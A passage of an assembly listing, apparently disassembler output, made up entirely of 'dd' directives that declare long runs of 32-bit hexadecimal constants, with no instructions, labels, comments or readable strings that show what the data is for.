		dd 0AE27D928h, 0CA2F33F1h, 3CCCE704h, 76FD8B6Eh, 269B2818h
		dd 0D2DA2D60h, 87EE2241h, 9CEAD4C6h, 607B12A4h,	0FF79B118h
		dd 1D2BFA58h, 0F76DA0D9h, 0E76C9462h, 0A0ECF4AAh, 6C56192Ch
		dd 0A98E5ED1h, 0CDAF8F68h, 8CCAB81Eh, 24BE272Bh, 13E094ABh
		dd 984C96E6h, 959D84Ch,	1C7AEFFCh, 9D3E3FFDh, 86F18541h
		dd 1C6AFE2Fh, 0BECDA022h, 4CA47DE8h, 1470FAC3h,	668E9E26h
		dd 1BD665C6h, 77FFA957h, 5803E670h, 9842069Bh, 4CAAB520h
		dd 4731546Fh, 0CAD708FEh, 0F58191EFh, 4F53A9C4h, 2D856145h
		dd 7059C7ECh, 94D7A76Ch, 0D52DA158h, 937317FDh,	0D1C83330h
		dd 3249F7F9h, 7D944414h, 9613B74Ch, 0E45A515Fh,	86C68FF7h
		dd 1A3B3010h, 4BF0EB76h, 0B1C1AA55h, 0F7E61767h, 57F68CC2h
		dd 2BF736B2h, 573116FBh, 0A03EACC6h, 330A5F30h,	46B52FCCh
		dd 6D3D0DB6h, 9B7E31BCh, 89723113h, 4F353FFFh, 5086E78Ah
		dd 1A2365D7h, 3AD8623Dh, 7C1E6593h, 0EFF56A41h,	6B9D47B4h
		dd 278F4B97h, 0B190A053h, 3A89C70Ch, 5815A427h,	722F6B40h
		dd 3AB4DD68h, 557E1EC3h, 0B2DF4220h, 89D6D61Ah,	0C5F6839Ch
		dd 0E464B70Bh, 437F966Ah, 0FB9F4786h, 296109BFh, 9CF25A09h
		dd 9CE2668h, 4F84158h, 81565792h, 3A8314BFh, 0A3D499BDh
		dd 6D3EC232h, 58874243h, 8C1639D8h, 5BB7BA4Ah, 0F1A4B26Dh
		dd 0ED219044h, 87D68E23h, 698975A6h, 7CF5410Ah,	230CCEF8h
		dd 0F7435E4h, 0C6ECE33Ah, 19750834h, 0B4114947h, 0A67D134Eh
		dd 0FB4FC840h, 9E9A0F18h, 9FE18F9Bh, 0D1981CB9h, 7871FC72h
		dd 73D715A8h, 67CE14AFh
		dd 8AA21B14h, 887011F1h, 0E03A7737h, 0FF05B279h, 0D1147399h
		dd 4330E1EFh, 538364BFh, 7BDA7458h, 0B4EDAA92h,	0CEEC55D6h
		dd 5EC2EB3Ch, 0DCDD386h, 662E54CBh, 5C2CFDEBh, 8E7871E3h
		dd 90435CBAh, 7C67736Fh, 0D62FC5DCh, 8236F701h,	2B6A4400h
		dd 635D0B7Fh, 0A220C6CEh, 956358F4h, 9B19D113h,	6AD26897h
		dd 7781EE41h, 2443C2DBh, 0AD0FC58Eh, 0F4CA9A9Fh, 9492DAE6h
		dd 0BDF9456Fh, 0C23DDDEDh, 2A46C364h, 20A25036h, 0E8BF5CC8h
		dd 803F3AC5h, 52F3CD4Ch, 0A4EF0B3Ah, 0B4DF30EEh, 0C0FF5139h
		dd 33BD2CCFh, 41CFF25Ah, 9B3D2A1Fh, 4F342EAAh, 73DED553h
		dd 0A73D1038h, 0B257A870h, 2857041Eh, 97F931A0h, 0FF2C378h
		dd 691E1E1Eh, 5BDC1EBDh, 0B2E556C4h, 8CE2BF7Eh,	0F71E4E09h
		dd 0AF7ECA8Bh, 1514A020h, 595AE9Ah, 0F5BDAE02h,	565407DAh
		dd 16C00D5Fh, 8370D700h, 0DC286145h, 0EB547274h, 5CA71C34h
		dd 74D45F5Eh, 0E36E8A93h, 0BBCC0905h, 451F5FE6h, 6A80973Dh
		dd 6CD93389h, 0B4ACB15Fh, 0E0EC8BFAh, 0CDCCC39Eh, 0FBBEF15Dh
		dd 0E00DB166h, 0B213853h, 0CA19A838h, 4786AB26h, 815ABD71h
		dd 9649B0C9h, 573F8CD9h, 98FBDDB7h, 0B6FBB63Ah,	4EA9A7Ah
		dd 0FCD68A5Bh, 1A201042h, 3E71802Fh, 7FF2C647h,	51601F38h
		dd 6BB9DD18h, 3074E146h, 0BB3D1871h, 93BBE4DBh,	144F3A13h
		dd 0AD480B90h, 0E2B21939h, 2B0ECDEFh, 0E5835AB4h, 0C143BB96h
		dd 0E08B2074h, 0CD6ACD3h, 0C62364E3h, 2560254Dh, 9EDB59BBh
		dd 0EA3996Eh, 896A6792h, 2E471B5Ch, 485938DAh, 0ACA9B226h
		dd 5F443B7Ch, 3BFD2D46h, 0E310273Bh, 1EB1DEDBh,	5653908Ah
		dd 0AFE9B041h, 5F2D649Eh, 271FD38Eh, 5B9E4BAh, 0EE1C18DDh
		dd 85B15D99h, 0A99A1273h, 0D5BB6E22h, 0C1A99670h, 0A8529A1Ch
		dd 0CADB12CCh, 0FE93A5C1h, 0DF89BD7Dh, 8F7AA768h, 3AD6D639h
		dd 0A427B51Fh, 0A6F58F4Bh, 4E594BAFh, 6E72FD02h, 78FD12DFh
		dd 0C79ED42Ah, 0B27DD64Bh, 0A093DCCBh, 6ECD48FBh, 0FAF0372h
		dd 265A1E23h, 8C4C391Ch, 83E3CC1Bh, 12D2443Ah, 5682B907h
		dd 91E3A93Ch, 0C4B742E1h, 0D476D5F1h, 41E4C036h, 0C85B57F1h
		dd 0E1F0A2Eh, 0A760B9B3h, 869704D5h, 38C4FCB5h,	0FCA3F362h
		dd 0C21F139Fh, 0F4539124h, 203AD559h, 50D05DDEh, 57D9E901h
		dd 142888D2h, 74961E66h, 0E347A4B3h, 0E63C78BDh, 0BF843E76h
		dd 0C22EFC84h, 80F739BBh, 0D914AF3Fh, 9FD96037h, 0DBF7ACDDh
		dd 0A1E08971h, 6C91273h, 0A02EF632h, 19A415F4h,	81B5E20Dh
		dd 34C9F49Eh, 0D82E61DAh, 0D76D6A11h, 0B2679466h, 15DDB03Bh
		dd 7A98E38Dh, 5294AF1Ah, 17155BF7h, 6FE3F124h, 9A518EC5h
		dd 0CD6E2916h, 726FF821h, 76A0E12Fh, 0DFE6ECA1h, 9EB6D7F0h
		dd 4D2934ADh, 893785F3h, 0B567892Eh, 0F63C35B3h, 9F5E8B6Bh
		dd 5E10BEF3h, 4E9F5106h, 0FD066CB5h, 0B30DCCC0h, 0D07C6873h
		dd 4BE626C8h, 8B5599D1h, 78A33ADDh, 33860433h, 0FBA7C8A2h
		dd 0EB3FA5F1h, 518BF0F1h, 576F51BAh, 0CB514E81h, 0E1281277h
		dd 0DAC187B2h, 0D318CB37h, 0B47A849Ch, 21E6B8Ah, 3E43ADDAh
		dd 4099C9EFh, 76059ED8h, 0F99574E9h, 9F11748Eh,	48257248h
		dd 6FA403EFh, 3CBB2C4Fh, 16BF46CBh, 0D8358C07h,	92A31CC8h
		dd 7C9908CBh, 0A84FD1E3h, 431E4934h, 0BBB6A737h, 509013C6h
		dd 3775553Fh, 0C15F09D2h, 649EA566h, 9A7EC4ACh,	74F6D1F9h
		dd 0B1FA6777h, 0C8230BCBh, 2E9E20B5h, 293B2C0Eh, 0A908CAA8h
		dd 2C0E973Eh, 0EA552905h, 43C38136h, 61F09B9Ch,	2F87963Bh
		dd 0DB171771h, 85B4E4FDh, 0A2553E9Ah, 0AF57D7F1h, 49C75733h
		dd 86CB0E49h, 0EF399D6Ah, 0EFF53A81h, 8308E3E5h, 9F58A0ECh
		dd 0F787E2ECh, 489C6913h, 2964DC90h, 0F2D72F05h, 0C97AAC28h
		dd 11951D20h, 0CD0F2DDCh, 0DF694983h, 54D779C6h, 77AF984Eh
		dd 6D777180h, 0C29EB85Dh, 0A4F0B235h, 0A8D593EEh, 99F71FB3h
		dd 69C88558h, 3EB3F414h, 49DF6ED0h, 0EFDBE341h,	0B1297108h
		dd 0EA63F802h, 0CBF4A8C8h, 0EBB5B392h, 0A9AAA556h, 0E3B1E610h
		dd 2ED4837Eh, 3C8654C6h, 53A0C895h, 151F93A8h, 449B1EC4h
		dd 0CE7D62EFh, 68B186E0h, 0C0EB71D8h, 0F55E211Bh, 8636B7EEh
		dd 0DF86CC65h, 0B9537634h, 0DE273875h, 2C52A290h, 0E08C8D3Fh
		dd 0A02B6DDFh, 32C95452h, 0DA3F1BFDh, 3D3BA16h,	0ACFB92C7h
		dd 3E9E0ED2h, 0D90A97DBh, 0F8969015h, 86D38545h, 2C7A2DBAh
		dd 3483F51Eh, 295E8AF9h, 4668E927h, 27DF02A6h, 0C720E961h
		dd 1F0632FCh, 87BD81C5h, 658F4C32h, 0FBC8D9DBh,	0DCDED9F6h
		dd 0DE4C0B75h, 696D3435h, 0B7C1578Fh, 842F3356h, 0A55F2741h
		dd 0BAE6BC29h, 70667CCEh, 0FA092F2h, 0B249EEE7h, 0C2DD4D24h
		dd 1BF89820h, 9B7F9426h, 0D84CF6BEh, 0BD56C490h, 0A66354FDh
		dd 0A9C41F53h, 486E0E01h, 0C18CA9D0h, 814351F2h, 16AB9399h
		dd 5B29FDE1h, 12876A05h, 0F4D832B8h, 5AEC8E35h,	0CE2495EBh
		dd 0FA4A3E7Dh, 41F00BA9h, 0FC005F58h, 0AEDDC2EEh, 123C1DEEh
		dd 26E6A17Fh, 0F974C515h, 5E8D4FF2h, 36007B7Ch,	79E52F44h
		dd 0E53D7182h, 1297FBDDh, 972EB4D0h, 5D268D02h,	0B02384EEh
		dd 8CBBB878h, 66ADCB4Eh, 5D43D9A7h, 6806009Dh, 5658BACEh
		dd 50DB164Eh, 0F8ED6BF0h, 0A388A0C7h, 0EC1CF8F5h, 2F05619Eh
		dd 0A76CCC3Ah, 0EC42028Bh, 6C80B81Dh, 886F29D6h, 54B79748h
		dd 70D5B6ACh, 0E89D6EE1h, 5D59CCBDh, 1B9747AFh,	0BBEA274Ah
		dd 0C30A0A4Dh, 0DA3D38E2h, 0B4260BF2h, 7095960Dh, 2950AAD4h
		dd 390E6FA1h, 0FAB39809h, 0DFCBD68Dh, 0A81F9E34h, 5729017Dh
		dd 0BCB342EEh, 5F32D4F7h, 5C635042h, 5451D71Eh,	30D92DD1h
		dd 0A749FADh, 0CD5AC6ACh, 0DE66690h, 0CFF5E692h, 0F70FE032h
		dd 0DBC1FE65h, 73C47941h, 4F1115A3h, 264A943Fh,	90F112EEh
		dd 0A433B7Ch, 0CD2663C4h, 96A71E68h, 38B96A91h,	0A7BAC794h
		dd 39A75926h, 0CABF72Eh, 0D6702C3Ch, 24A7D469h,	5D4E4FF5h
		dd 747DDCDBh, 31DDCA1Bh, 7082F784h, 6715C3EBh, 0FE9FAA56h
		dd 0DE4461D3h, 940813D6h, 0AA855C18h, 0A66AFA19h, 2ACC639Fh
		dd 0F1A54C04h, 0BF4B4B5Bh, 9FF96DDBh, 0A6C6608Dh, 3604B48Ah
		dd 0D4DB2010h, 0B01D9112h, 54C13E35h, 7512D455h, 30D601EAh
		dd 0B99BEBBCh, 41B8C0F4h, 65382D4Eh, 5543B61h, 6002D8B9h
		dd 77C20F7Bh, 486FBA41h, 0D9B9A8C2h, 3C8B8FCh, 0E4F7D565h
		dd 2F64555Eh, 82CDC607h, 0E83254B4h, 0A0BAFD03h, 98B68617h
		dd 33554AFAh, 0A5D2779Eh, 64E4B2DEh, 8D036607h,	0A526711Bh
		dd 7EE7C5F8h, 6845AFA3h, 69019459h, 3BF15FC5h, 8200854Ch
		dd 3B16A876h, 7FE81679h, 3B1A2DE3h, 0FBB13EDFh,	0E4753EEEh
		dd 0B7F16621h, 360FF12Ch, 0C9176521h, 0D5329D1Ch, 52D95E41h
		dd 9F17C74h, 0DD5DF288h, 6A8981A1h, 58826B42h, 29FFD5C3h
		dd 0B44CA17Ah, 707DFF5Ch, 0BDF99A82h, 45DBBA6Ah, 92C2ECBh
		dd 20A3995Ch, 2E82E250h, 0DD261096h, 0AF459ED0h, 8A3E4C15h
		dd 648DA79Fh, 0B1213D4Ch, 7F3BB003h, 4DE19929h,	0C05076CDh
		dd 81A9C3BBh, 5CC84FD9h, 1BC8D08Fh, 6424D2A6h, 6EA0138Ch
		dd 0E519D785h, 40FF235Ah, 99BDCF7Fh, 9C4ABFE7h,	3CE84D27h
		dd 544D5110h, 0ADB5C863h, 4AC243FAh, 55576F5Fh,	161CAC47h
		dd 45AB80E9h, 85D833C7h, 6749E105h, 644B29B2h, 0C1D9BB58h
		dd 39E4D26Ch, 75A74767h, 0D82953F9h, 0AF22216Ch, 2A148788h
		dd 200ECDDBh, 1C8AB377h
		dd 75D51770h, 9BA8E494h, 0E932E12Bh, 0A5403867h, 0DB0EC790h
		dd 1D57A05h, 0DE2EA7Ah,	0C395100Ah, 4CBB8C2h, 0F802D5CFh
		dd 225C893Dh, 0BCA5CEABh, 3D8BE133h, 134F999Ah,	0F9223336h
		dd 0DC16D725h, 0C91FBE97h, 0A9E6779Bh, 253E9BE5h, 0AA03C47Ah
		dd 7ED30F3Eh, 6B497786h, 0F472B13h, 26DB0D7Bh, 0F42B0F5h
		dd 5983C8FEh, 0B8831BD5h, 2A86ADA7h, 0F0F3E1EFh, 4122B65Bh
		dd 0C70A1F3Ah, 18DDB3A2h, 50746BE8h, 29C3A7B6h,	87878453h
		dd 0B858D91Bh, 9B8A6DF2h, 0AA65BC22h, 0BD0EC5E6h, 59027B6Ch
		dd 0FBE3ECA0h, 0E9796BFFh, 67002106h, 42C0DD91h, 0C3BBDA68h
		dd 0BA9061BBh, 0B5DE385Ch, 3941D462h, 0C65F25CCh, 0AC686B3Ah
		dd 0DB78947Ah, 9DD26F9Ah, 0B14947E2h, 9F26CBE4h, 115792DDh
		dd 87424E0Eh, 9007BC97h, 472F3417h, 0DB0108C9h,	0A54F439Bh
		dd 4B126641h, 57DFDB0Eh, 0A41F4CB8h, 0CDAD7FCCh, 0F766912Ah
		dd 0E156907Bh, 0EF8C6B2Ah, 375DD720h, 511FAB84h, 0F68F4C17h
		dd 384CA0A2h, 70354006h, 0AAF967A0h, 49FBCBBBh,	53901F08h
		dd 771A1FF9h, 534460Eh,	0EDCE8800h, 0DC561D95h,	4BA56191h
		dd 0A149D4BEh, 0B449EBB8h, 0D63BEFBEh, 7374E6E6h, 0F6ABC73Ah
		dd 1AC4CA7Ch, 0A98D91D1h, 0F5792AC4h, 579BCDBAh, 0FC0208BDh
		dd 9E0527D2h, 0CBD7562Bh, 0A63CC4D5h, 0E89794D5h, 84A84C30h
		dd 0F854493Ch, 7EBB276Ah, 0B9D19E1Fh, 51EF5343h, 9465B443h
		dd 91BEDA60h, 0C1A03EC2h, 0AD4D9151h, 46014BADh, 9AB47D36h
		dd 55F8DDCCh, 364D8324h, 6CBC50E5h, 2D3375A3h, 5EF0A3FCh
		dd 0E52C89Fh, 0AF41B227h, 0FD0FB447h, 8B5CA4C2h, 0C8E12DDFh
		dd 231BAE87h, 83E99E58h, 269B66B2h, 0CA870896h,	544A8237h
		dd 0AD5B233Bh, 2BBB821Ch, 0EFEBB916h, 7F082DC1h, 319762C9h
		dd 84877657h, 4B6E65C5h, 5BB9581Dh, 13B8D7Bh, 8D045DFDh
		dd 0B5834DC5h, 728CF4C6h, 9ED3C8B6h, 93F18C92h,	0B04367E8h
		dd 82669761h, 0D8672A09h, 0AF6DBA71h, 0A20EDA3Ch, 326DD9ACh
		dd 462AAB8Ch, 0A111D626h, 0CF6C9F5h, 4A1C42DEh,	5E788D8Eh
		dd 79468762h, 4B5A60EFh, 0AFFE8AA0h, 90457645h,	7E76CB17h
		dd 9D284346h, 762EEB14h, 477D4A4Eh, 7E7355Bh, 79AE6F5Ah
		dd 1B780A6Ch, 0A6795642h, 0DBB07FC7h, 0FD1DB135h, 143BB24Dh
		dd 0F04729F4h, 0BE13FA00h, 0E30EC250h, 756C5138h, 6CD90A69h
		dd 0CABEBF28h, 0C299A846h, 0AF05D781h, 49500762h, 0EEE745C2h
		dd 0DA08D48Dh, 4300A18Eh, 0A52D4344h, 0F2E29EF4h, 0DD4702A6h
		dd 6DCD0852h, 0EC367431h, 39FABF56h, 0F7F5735Bh, 0B61F424Eh
		dd 0D1D525ADh, 4E67FF20h, 0D7CD9273h, 11D8168h,	51BD8081h
		dd 5C522B61h, 61770696h, 0AD967AB9h, 3F709D6Fh,	0A04C6048h
		dd 5AAA73F3h, 71ADB755h, 0E6AE08E0h, 4A601088h,	0F79D9BF1h
		dd 0B74D248Eh, 0C3DE345Fh, 80ADF791h, 0B2556F0Dh, 4A1BB5CAh
		dd 57759AC1h, 0A6AB32BDh, 0E685E777h, 0EEB2524Ch, 48D34643h
		dd 17B4D9B4h, 0E0484656h, 8F86877h, 0DDB23D4Ch,	84114B01h
		dd 519CD636h, 7E4B41EDh, 36220E29h, 2DBF6F39h, 682523EFh
		dd 0C61B40E5h, 6C55BA6Ch, 0E86B3640h, 23A88E0Bh, 0BF49DF25h
		dd 0B96FA3FBh, 6EFBAA2Ah, 97E508E8h, 732CE10h, 0C9EC0B1Dh
		dd 7DB66C9Eh, 804A17F4h, 276A00B0h, 90C2FAD9h, 24917056h
		dd 2BDAFD4Ch, 0E2F22639h, 0EBE93C70h, 0D236C943h, 83CE5F61h
		dd 657DA57Dh, 8719E38Bh, 12A4344h, 4525EAAAh, 0C5BDE290h
		dd 55E627F8h, 2E751114h, 20EDB4E5h, 0F20EAF62h,	0AB5E6CB1h
		dd 1AC41AB3h, 0B906B1BAh, 64689DCCh, 5A54B85Ch,	6595FD85h
		dd 0DAC298B7h, 8CB28290h, 15F8BA76h, 83EE0D07h,	0AAA979DAh
		dd 0D1538CDh, 49D4689Eh, 0C2908AF0h, 3EADAED0h,	0D8272AFCh
		dd 0C4CC1412h, 7C9BB072h, 0DB76816Ah, 450369E8h, 0B6CCFC32h
		dd 0C2F95295h, 678BA410h, 39441CCBh, 0C99D10EBh, 20936DCh
		dd 0F5694CB2h, 685DE31Ah, 95B01686h, 59C5F74Ah,	0C2EFCFDAh
		dd 6382A201h, 7065385Bh, 5B8A69E5h, 40E61569h, 76DE9D4Fh
		dd 0F63BB200h, 6F5D6666h, 89554737h, 90F388E6h,	4E3BEF1h
		dd 0A5153DEBh, 3660F26Ah, 4D191BCCh, 0C119CC30h, 0DE9A5FFCh
		dd 0D526D393h, 3490492Dh, 96555B3Fh, 0FB30800Ah, 0A5C2DFF4h
		dd 82059D93h, 0FAEEB3AAh, 2082BF79h, 3C62F62h, 53BE1746h
		dd 0F05C5987h, 0C8E9EE58h, 71142B42h, 42860A4h,	0B32FABB6h
		dd 0F07806F8h, 4574901Ah, 0C913B6EBh, 0AF24D868h, 7076FE6h
		dd 0D8A5A93Bh, 20697098h, 0A7B596E0h, 89D83343h, 85AB9951h
		dd 7D59D1B5h, 0A05BD636h, 8A2F806Ch, 9D80326Fh,	1835BE75h
		dd 3BAEFE3h, 4D2406EDh,	9D6E7AA9h, 0A34C0203h, 4FEDFF91h
		dd 6DE362EEh, 0A05DF507h, 50F4E6C1h, 70CAA9C0h,	0D4EAD82h
		dd 0BC732714h, 0E31C064Eh, 4FC6E4A0h, 150EB575h, 515417CFh
		dd 71F90F01h, 23FBE1B4h, 0DACFDD19h, 55E9555Eh,	0CC8FF417h
		dd 50643814h, 8279D94Ch, 5F48C032h, 0F6D20D91h,	965CC02Ah
		dd 111793FDh, 0E2DFE8Ah, 989D2602h, 0A5CB77FDh,	0C26E04A1h
		dd 0FA33A366h, 0FECE8007h, 0CFAD370h, 9750D06Fh, 0E8AD0915h
		dd 65AFDDA0h, 0CCE8B27Fh, 55E179D5h, 89D4DA4Dh,	42F166D8h
		dd 0C2D6300Eh, 79F06ED5h, 345388F6h, 99DBFED3h,	0B5F10733h
		dd 0CF66DF4Ah, 0CEE70DFBh, 4E817771h, 2B575750h, 0A038F682h
		dd 0AD93F04Ah, 0A6B5B48Eh, 17537CAAh, 9053E32Ch, 8C9B7A9h
		dd 0BDED5F1Fh, 15A7D99Fh, 27669031h, 4EE1712Eh,	5954F30Dh
		dd 95D4EC3Ah, 0AE41800Eh, 0F216B4CAh, 4883F66Bh, 96CE8B6h
		dd 6A233E3Dh, 0BEB7428h, 43B6B33h, 1EADB752h, 0BA2DE8B8h
		dd 1C72C1h, 1BD5D704h, 0D942406Bh, 9B81860Bh, 3AE7EDEEh
		dd 0F03BA3ACh, 6C3FEE4h, 284E1h, 0C2DA045Dh, 660388D7h
		dd 0D5702500h, 0B730486Eh, 0E8773722h, 0BB5800FEh, 0F5EE5050h
		dd 9142EC57h, 0D746B49Ah, 3BE494BEh, 58751DC5h,	86189758h
		dd 0E6DB85C2h, 0D8B16B60h, 42E7C065h, 43918E0Bh, 0D761BDFAh
		dd 1CB0EEB1h, 0E722E3D4h, 0A837D12h, 0B7AF0D3Fh, 0C8E359A7h
		dd 78E8123Eh, 0F1AD838Eh, 247E0F33h, 5288F050h,	0B7A4E724h
		dd 0F277DBF4h, 0A7776CDDh, 0EAD5F5B5h, 1CAA190Eh, 897EF37Dh
		dd 87313C07h, 97960FA4h, 0B6B61B3Ch, 5F32A1A0h,	85C9C66Ch
		dd 47E29D92h, 275700A7h, 0CA708E08h, 0DA18E760h, 0FF9467Ch
		dd 47ABC72Dh, 99034603h, 6E3F260Bh, 366BBC84h, 4A74EC11h
		dd 0B9162637h, 970ABDB8h, 516A2A24h, 94BB4142h,	0A3CDA2E9h
		dd 35D79BA4h, 0A0ED6D39h, 0D3CB49A5h, 0AB52355Dh, 0A2AC2A74h
		dd 0BA13C442h, 2C8091FDh, 0E5F95E29h, 0A6C89452h, 5CD2C947h
		dd 770CE8C5h, 12A8AD2Ch, 0B3E5BAh, 1792B0B3h, 78430C11h
		dd 27651D51h, 2D190FAEh, 0B9C896h, 4CB340F1h, 80A20480h
		dd 95F63D86h, 0B9D94F1Ah, 595A4492h, 4C39FCA5h,	7998A560h
		dd 2541B046h, 0A83A8A35h, 75CA645Fh, 0BEC3B257h, 750707B7h
		dd 862A0AECh, 0CD89DA29h, 0CC2C0452h, 983CF6DBh, 0A03C5817h
		dd 801B5F54h, 775E499Ah, 4C88A106h, 9516A661h, 0F5753DA9h
		dd 0EF4815F4h, 3A70DF90h, 0B11E9BF3h, 4033F994h, 1D17EC01h
		dd 9F68B21Dh, 0BA44928Ah, 454DD6F2h, 9AAEF606h,	0D8AFD802h
		dd 0B12148E4h, 4052064Ch, 0C6A2B375h, 82D8B9C5h, 2314D858h
		dd 0EA290467h, 32E3A475h, 3856D211h, 309B70E3h,	7B6BED24h
		dd 0B6973FF1h, 8514DBF8h
		dd 14211EB9h, 8A8B7547h, 0D6B31832h, 0D422644Eh, 0DBBC357Ah
		dd 0ED703419h, 2348F67Dh, 524AFB01h, 243CCF8Fh,	25412674h
		dd 0FB4DD7CFh, 0D61F9ABAh, 0EA31F56h, 0A1897030h, 57B4BE74h
		dd 3D53919Eh, 443D3CEAh, 86E42CDAh, 41BFD29h, 0D2FD1EEDh
		dd 0FD18ED53h, 8C93EAE5h, 64882E1Fh, 0C9EBF9D6h, 0A9B4FA76h
		dd 0FDD90432h, 0C566F86Dh, 51D37315h, 1CB15394h, 4A052672h
		dd 66DDC0D2h, 0DC44FE20h, 650700D5h, 0EF572F1h,	5D5A91AFh
		dd 1A50454Ch, 65FBCB01h, 51DA8B99h, 0EBE3784Bh,	4A7E0640h
		dd 2A6C94C9h, 5ABC1D89h, 0F67A8BB7h, 0D7F602F7h, 48AA4DACh
		dd 0EFC7CAD0h, 2EAEEFD8h, 7E4B6EA0h, 0DB5118E1h, 8DFACC20h
		dd 0A8C2E69Eh, 2A813D1Ch, 0F2788EE0h, 0F6D47055h, 0C8716FF9h
		dd 0ECC9838h, 0E3018601h, 82001F41h, 0D47579D6h, 0C071C252h
		dd 7100D334h, 814C9CE8h, 3052C117h, 0B7EC058h, 476779E1h
		dd 0F733C2E6h, 25A62402h, 0DC73BF11h, 71BE717Eh, 0EF7E67AFh
		dd 0A36BF274h, 2FD571CFh, 0B0757DDBh, 91AF8AA1h, 768223BFh
		dd 4F895A86h, 20492651h, 2F50D3F6h, 52790C60h, 7DDE8E70h
		dd 6915195Ch, 0C7C4C869h, 50F6560Ah, 9145ECB1h,	0BEEB343Dh
		dd 2BA0C6A6h, 3CDB874h,	0FA738CC9h, 2B2A10E3h, 16BB21AAh
		dd 5C7AE55h, 1887A8BEh,	94B1C7D3h, 9A0FBA67h, 25A1169Bh
		dd 247183F0h, 0D11E33Dh, 1923E2B1h, 68469236h, 7EBDD31Ch
		dd 65D6CB83h, 436E4412h, 26EB7665h, 5748F4A6h, 0B548F3F1h
		dd 0EFFF0589h, 0B0130A77h, 0D52D458Bh, 0CD7719E3h, 4AA8A6F0h
		dd 0D7AEBB2Bh, 0D1A2EADCh, 5575A341h, 0D38DDBC2h, 3F88264Fh
		dd 9BA86822h, 75FD52F5h, 0BBCA0793h, 0DE796EC4h, 0E9B61639h
		dd 4F7DF5EEh, 7B9039A4h, 264C6ECAh, 0C3858A99h,	544D3A23h
		dd 667B9F77h, 3E2E6424h, 0BBDF80FEh, 3AFC3BABh,	5834EB95h
		dd 4EA7CF60h, 0D01FF22Ah, 0FD2489C0h, 0FE66332Dh, 7E11B4D0h
		dd 729C0454h, 0A06AA966h, 7067BD78h, 0CFAAC9C0h, 0A2634F57h
		dd 5E917469h, 0D4DF26D3h, 8AE4E398h, 0E688B1A8h, 100214D2h
		dd 82D2DF3Fh, 0FB088CF6h, 0D8FA80CFh, 0AB16DA2Ch, 66D8F048h
		dd 146F8F2Ch, 750C44C8h, 0C14A88Fh, 68999F74h, 10090566h
		dd 44806087h, 0DE9DEA1Ch, 0CB25F224h, 1280D687h, 1C0411DEh
		dd 745110EBh, 0F4612398h, 4A22E45Dh, 0D4FCF28Ch, 6621E99Ah
		dd 49ECD970h, 2CCACA10h, 13B9E92Fh, 512C56F5h, 893B2A90h
		dd 9DEE6AB5h, 8C57283h,	91B5A59Ah, 8A653688h, 0AB42D8FDh
		dd 4CD87BB2h, 30D5ED02h, 5C56028Dh, 4D7C11A2h, 7720169Dh
		dd 5056F2ADh, 3FCEA048h, 621C4E38h, 437FC837h, 0FAEF3CC8h
		dd 0E97ADA06h, 0AC0CFD1Bh, 5CDCFF32h, 9C81E839h, 0E0CA7356h
		dd 91CD4510h, 12BB63BBh, 0A29C18DDh, 1393D4C3h,	45247A42h
		dd 6F9C5AE6h, 0FB19965Ch, 0AF753281h, 554DC143h, 0EFFE6E87h
		dd 5A2DCA5Bh, 14B29896h, 0E9AF927Bh, 0CB9748A7h, 1F2B235Eh
		dd 228C8FF7h, 31C89021h, 332614F1h, 4E3E6DE8h, 8B289365h
		dd 5C65489Dh, 3C42252h,	9BA8988h, 0C32BA08Fh, 0F430EE1h
		dd 0CCC07C06h, 0AAF564Fh, 0D718CBFCh, 25C5EE12h, 485A2151h
		dd 4CA9CA62h, 9E2D417Dh, 35444A90h, 6E74B667h, 0BC5EE4BAh
		dd 0ADFF119Ah, 1416F6D6h, 71927429h, 0A238A8BCh, 1E0103DEh
		dd 0A9B3C81Fh, 17BA0B5Fh, 0EE12643Ch, 5D8DAA71h, 27E1B7F7h
		dd 0EAC7EF0Bh, 0AA4F2A61h, 0DE451F91h, 0DCE9AC14h, 2C81684Ch
		dd 7AD9E8E2h, 0F95FAEF4h, 515AE440h, 98F7E38Eh,	3837FFB9h
		dd 7EB912B5h, 0ECF82864h, 6B9763BCh, 2CF4819h, 63FDF71Dh
		dd 65ADEEBh, 0E86C61E3h, 0C1C7AA66h, 0F6507A2Dh, 0CFFC954Ch
		dd 9C52B9FEh, 3FB87B7h,	2525D862h, 0FC24EFBFh, 76C5F590h
		dd 0D64EE62Fh, 39289649h, 3D8072F2h, 751C92AEh,	0D65FAABBh
		dd 9EC6A2E7h, 0F2FE480Dh, 95E9CB6Ch, 2F26F2DBh,	36697272h
		dd 1D286AF3h, 0E3EDAF39h, 0C54F550Dh, 66A7B092h, 0BDF22A03h
		dd 0A427FD12h, 249D777Fh, 0ABABACD2h, 0EDBF76EBh, 77FB6D3Ch
		dd 0F165CD8Bh, 21FC1484h, 0FE9277B5h, 6D745A50h, 54483C7Ah
		dd 0B692AACAh, 1480B3CDh, 0E1AC07D3h, 0AEE4B8C3h, 0EA81CE57h
		dd 7AA163F9h, 0AE61CBB1h, 266CE7CFh, 0D92E6E34h, 4F9A4E65h
		dd 0A63238F1h, 740659D0h, 0E99DA70Ch, 0C8B503DFh, 15E7D35Fh
		dd 9D4915D1h, 0D3C4BC0Ch, 4010BC1Bh, 0FC79D30Fh, 13619D39h
		dd 4D44E920h, 5D87933Bh, 1B607FAh, 0D2D1BFC8h, 234EAD41h
		dd 97F32A93h, 0D9C0A75Eh, 0D1FC0B7h, 1DE79A5Ch,	2F97E803h
		dd 8DB6BC36h, 0A1FF6AEFh, 2E9B0D24h, 6BA4291Ch,	4A2DC681h
		dd 583D7C2h, 0B583FDC8h, 43EC42B5h, 9E0B29CCh, 0A19198CBh
		dd 3D87C4F5h, 870525F6h, 44C045C4h, 8417959Dh, 0A4C7949Fh
		dd 0C6CC7E30h, 41064FDAh, 7F33725Bh, 0FCB03A2h,	0C94DC951h
		dd 704F7600h, 526B705Dh, 400ECC81h, 3AFA276Ch, 0DD92BEC3h
		dd 7314F1D2h, 8A6EE36Bh, 1E4978E2h, 0F526850h, 9B15B97Eh
		dd 0B1F71FE5h, 0BC9D35E1h, 34179BF1h, 0D0FDAA1Dh, 0D27888E1h
		dd 8CF0F839h, 6F9C12A4h, 0DB4A7850h, 804C4234h,	5B3934F3h
		dd 0D9C8903Ah, 0AE42979Ah, 0F53D1341h, 19DCC14Bh, 4D845D23h
		dd 0B7678300h, 0D4910061h, 776BC3A3h, 3EEF0C7Eh, 6262593Bh
		dd 1B017F7Dh, 0E223F0C2h, 41B5A43Ch, 5DB5F3B5h,	0CEC3E01Eh
		dd 0F819E03Dh, 72D22C96h, 25FBD3D8h, 0E721F5C9h, 0CF1A7AD8h
